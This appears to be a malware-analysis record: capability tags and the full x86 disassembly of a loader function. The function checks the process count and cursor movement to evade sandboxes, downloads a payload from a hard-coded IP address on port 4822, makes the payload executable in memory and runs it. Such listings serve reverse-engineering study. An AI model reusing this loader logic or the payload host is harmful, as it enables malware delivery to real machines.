Function at 0x405070
Capabilities:
Contain obfuscated stackstrings
Create http request
Enumerate processes
Get http content length
Read data from internet
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d7c5
mov eax, dword fs:[0]
push eax
sub esp, 0x1a4
mov eax, dword [0x46a040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
push str.adminahqszsr
call fcn.004057d0
inc esi
add esp, 8
cmp esi, 0x1e
jl 0x4050a0
lea eax, [ebp - 0x58]
push 0x30b4
push eax
call fcn.00404510
add esp, 8
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], 0
mov eax, dword [eax + 8]
mov dword [0x46a00c], eax
jmp 0x4050da
jmp 0x4050dd
jmp 0x4050e0
push str.Start_n
call fcn.004057d0
add esp, 4
call fcn.00403d90
test eax, eax
je 0x4057b1
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x40515c
push 0x124
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x180], 0x128
push 0
push eax
call fcn.0040cfc0
add esp, 0xc
lea eax, [ebp - 0x180]
xor esi, esi
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4057b8
lea eax, [ebp - 0x180]
inc esi
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x405141
cmp esi, 0x28
jle 0x4057b8
push str.CreateThread
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x6e72656b
push eax
mov dword [ebp - 0x1c], 0x32336c65
mov dword [ebp - 0x18], 0x6c6c642e
mov byte [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0
push 0x4038b0
push 0
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1b0]
xorps xmm0, xmm0
push eax
movlpd qword [ebp - 0x19c], xmm0
call fcn.00404b30
add esp, 4
nop dword [eax]
lea eax, [ebp - 0x19c]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, dword [0x46af78]
mov edx, dword [0x46af7c]
test ecx, ecx
jne 0x4051fa
test edx, edx
jne 0x4051fa
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x198]
mov dword [0x46af78], eax
mov dword [0x46af7c], ecx
jmp 0x4051c0
mov esi, dword [ebp - 0x19c]
mov eax, esi
mov edi, dword [ebp - 0x198]
sub eax, ecx
mov ecx, edi
sub ecx, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, 5
jg 0x40536c
mov eax, ecx
cdq
xor eax, edx
sub eax, edx
cmp eax, 5
jg 0x40536c
call fcn.00405f50
mov edi, eax
mov esi, edx
mov dword [ebp - 0x194], edi
mov dword [ebp - 0x18c], esi
call fcn.00405f30
mov dword [ebp - 0x188], eax
mov ecx, edx
mov dword [ebp - 0x184], ecx
cmp edi, 0x989680
jne 0x40526f
test esi, esi
jne 0x40526f
push esi
push 0x64
push ecx
push eax
call fcn.0040b0b0
jmp 0x405341
cmp edi, 0x16e3600
jne 0x4052ea
test esi, esi
jne 0x4052ea
push esi
push edi
push ecx
push eax
call fcn.0040af20
push 0
push 0x3b9aca00
mov esi, edx
mov edi, eax
push esi
push edi
call fcn.0040b0b0
push 0
push 0x16e3600
push esi
push edi
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x18c], edx
call fcn.0040b0b0
mov ecx, dword [ebp - 0x188]
sub ecx, eax
mov eax, dword [ebp - 0x184]
push 0
push 0x3b9aca00
sbb eax, edx
push eax
push ecx
call fcn.0040b0b0
push 0
push 0x16e3600
push edx
push eax
call fcn.0040af20
add eax, dword [ebp - 0x194]
adc edx, dword [ebp - 0x18c]
jmp 0x405341
push ebx
push esi
push edi
push ecx
push eax
call fcn.0040afd0
mov edi, ebx
pop ebx
nop
push 0
push 0x3b9aca00
push edx
push eax
mov esi, ecx
call fcn.0040b0b0
push 0
push 0x3b9aca00
push edi
push esi
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], edx
call fcn.0040b0b0
push dword [ebp - 0x18c]
push dword [ebp - 0x194]
push edx
push eax
call fcn.0040af20
add eax, dword [ebp - 0x188]
adc edx, dword [ebp - 0x184]
sub eax, dword [ebp - 0x1b0]
sbb edx, dword [ebp - 0x1ac]
cmp edx, 1
jl 0x4051c0
jg 0x4057bf
cmp eax, 0x2a05f200
jae 0x4057bf
jmp 0x4051c0
push 0x22
xorps xmm0, xmm0
mov dword [0x46af78], esi
push str.http:__123.99.200.175:4822_175.bin
lea ecx, [ebp - 0x3c]
mov dword [0x46af7c], edi
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
call fcn.00401f50
push 0
push 0
push 0
push 0
push str.Download
mov byte [ebp - 4], 1
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [ebp - 0x184], edi
test edi, edi
jne 0x4053ed
push str.Failed_to_initialize_WinINet.
push 0x46b0e8
call fcn.00401af0
push eax
call fcn.00402070
add esp, 0xc
mov dword [ebp - 0x188], 1
jmp 0x4055e3
cmp dword [ebp - 0x24], 7
lea eax, [ebp - 0x38]
push 0
cmova eax, dword [ebp - 0x38]
push 0x84000100
push 0
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
jne 0x40543f
push str.Failed_to_open_URL.
push 0x46b0e8
call fcn.00401af0
push eax
call fcn.00402070
add esp, 0xc
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x188], 1
jmp 0x4055e3
push 0
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x190], 0
push eax
lea eax, [ebp - 0x190]
mov dword [ebp - 0x1a0], 4
push eax
push 0x20000005
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x4054a6
push str.Failed_to_get_file_size.
push 0x46b0e8
call fcn.00401af0
push eax
call fcn.00402070
add esp, 0xc
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov dword [ebp - 0x188], 1
jmp 0x4055e3
push 4
push 0x3000
push dword [ebp - 0x190]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x4054f9
push str.Failed_to_allocate_memory.
push 0x46b0e8
call fcn.00401af0
push eax
call fcn.00402070
add esp, 0xc
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x184]
call esi
mov dword [ebp - 0x188], 1
jmp 0x4055e3
lea eax, [ebp - 0x1a4]
mov dword [ebp - 0x1a4], 0
push eax
push dword [ebp - 0x190]
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x405562
push str.Failed_to_read_file.
push 0x46b0e8
call fcn.00401af0
push eax
call fcn.00402070
add esp, 0xc
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x184]
call esi
mov dword [ebp - 0x188], 1
jmp 0x4055e3
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x184]
call esi
lea eax, [ebp - 0x1a8]
mov dword [ebp - 0x1a8], 0
push eax
push 0x20
push dword [ebp - 0x190]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4055c9
push str.Failed_to_set_memory_page_protection.
push 0x46b0e8
call fcn.00401af0
push eax
call fcn.00402070
add esp, 0xc
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x188], 1
jmp 0x4055e3
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x188], 0
push 3
lea ecx, [ebp - 0x18c]
call fcn.004058a0
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x405612
mov eax, dword [ecx + 4]
mov dword [ecx + 4], 0
test eax, eax
je 0x405612
mov dword [eax], 0
mov eax, dword [eax + 4]
test eax, eax
jne 0x405605
lea ecx, [ebp - 0x18c]
call fcn.00405950
mov eax, dword [ebp - 0x24]
cmp eax, 7
jbe 0x405749
mov esi, dword [ebp - 0x38]
lea edi, [eax + 1]
test esi, esi
jne 0x40567a
test edi, edi
je 0x40567a
push str.null_pointer_cannot_point_to_a_block_of_non_zero_size
push 0x451648
push esi
push 0x3cf
push 0x451650
push 2
call fcn.00411610
add esp, 0x18
cmp eax, 1
jne 0x40565c
int3
push 0
push 0x3cf
push str.C:Program_FilesMicrosoft_Visual_Studio2022ProfessionalVCToolsMSVC14.39.33519includexmemory
push 0x451784
push str._null_pointer_cannot_point_to_a_block_of_non_zero_size_
call fcn.00410930
add esp, 0x14
add edi, edi
cmp edi, 0x1000
jb 0x40573f
mov eax, dword [esi - 4]
add edi, 0x27
cmp dword [esi - 8], 0xfafafafa
mov dword [ebp - 0x184], eax
je 0x4056e7
push str.invalid_argument
push 0x451648
push 0
push 0xa7
push 0x451650
push 2
call fcn.00411610
add esp, 0x18
cmp eax, 1
jne 0x4056c3
int3
push 0
push 0xa7
push str.C:Program_FilesMicrosoft_Visual_Studio2022ProfessionalVCToolsMSVC14.39.33519includexmemory
push 0x451784
push str._invalid_argument_
call fcn.00410930
mov eax, dword [ebp - 0x184]
add esp, 0x14
sub esi, eax
cmp esi, 8
jb 0x4056f3
cmp esi, 0x27
jbe 0x40573d
push str.invalid_argument
push 0x451648
push 0
push 0xb1
push 0x451650
push 2
call fcn.00411610
add esp, 0x18
cmp eax, 1
jne 0x405719
int3
push 0
push 0xb1
push str.C:Program_FilesMicrosoft_Visual_Studio2022ProfessionalVCToolsMSVC14.39.33519includexmemory
push 0x451784
push str._invalid_argument_
call fcn.00410930
mov eax, dword [ebp - 0x184]
add esp, 0x14
mov esi, eax
push edi
push esi
call fcn.0040a720
add esp, 8
xor eax, eax
mov dword [ebp - 0x28], 0
mov word [ebp - 0x38], ax
mov eax, dword [ebp - 0x3c]
push 8
push eax
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x3c], 0
call fcn.0040a720
add esp, 8
lea ecx, [ebp - 0x58]
call fcn.00403b20
mov ecx, dword [ebp - 0x58]
push 8
push ecx
mov dword [ebp - 0x58], 0
call fcn.0040a720
mov eax, dword [ebp - 0x188]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040af10
mov esp, ebp
pop ebp
ret
push 1
call fcn.00412120
push 1
call fcn.00412120
push 1
call fcn.00412120
int3